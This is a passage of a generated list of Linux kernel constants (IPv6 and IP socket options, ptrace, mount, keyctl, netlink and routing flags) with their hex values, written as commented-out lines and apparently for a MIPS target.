-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x800
-- MAP_ANONYMOUS = 0x800
-- MAP_DENYWRITE = 0x2000
-- MAP_EXECUTABLE = 0x4000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x1000
-- MAP_HUGETLB = 0x80000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x8000
-- MAP_NONBLOCK = 0x20000
-- MAP_NORESERVE = 0x400
-- MAP_POPULATE = 0x10000
-- MAP_PRIVATE = 0x2
-- MAP_RENAME = 0x800
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x40000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x8
-- O_ASYNC = 0x1000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x100
-- O_DIRECT = 0x8000
-- O_DIRECTORY = 0x10000
-- O_DSYNC = 0x10
-- O_EXCL = 0x400
-- O_FSYNC = 0x4010
-- O_LARGEFILE = 0x0
-- O_NDELAY = 0x80
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x800
-- O_NOFOLLOW = 0x20000
-- O_NONBLOCK = 0x80
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x4010
-- O_SYNC = 0x4010
-- O_TMPFILE = 0x410000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x20002401
-- PERF_EVENT_IOC_ENABLE = 0x20002400
-- PERF_EVENT_IOC_ID = 0x40082407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-- PERF_EVENT_IOC_PERIOD = 0x80082404
-- PERF_EVENT_IOC_REFRESH = 0x20002402
-- PERF_EVENT_IOC_RESET = 0x20002403
-- PERF_EVENT_IOC_SET_BPF = 0x80042408
-- PERF_EVENT_IOC_SET_FILTER = 0x80082406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GET_THREAD_AREA = 0x19
-- PTRACE_GET_THREAD_AREA_3264 = 0xc4
-- PTRACE_GET_WATCH_REGS = 0xd0
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKDATA_3264 = 0xc1
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKTEXT_3264 = 0xc0
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKEDATA_3264 = 0xc3
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKETEXT_3264 = 0xc2
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SET_THREAD_AREA = 0x1a
-- PTRACE_SET_WATCH_REGS = 0xd1
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- RLIMIT_AS = 0x6
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x9
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x5
-- RLIMIT_NPROC = 0x8
-- RLIMIT_RSS = 0x7
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
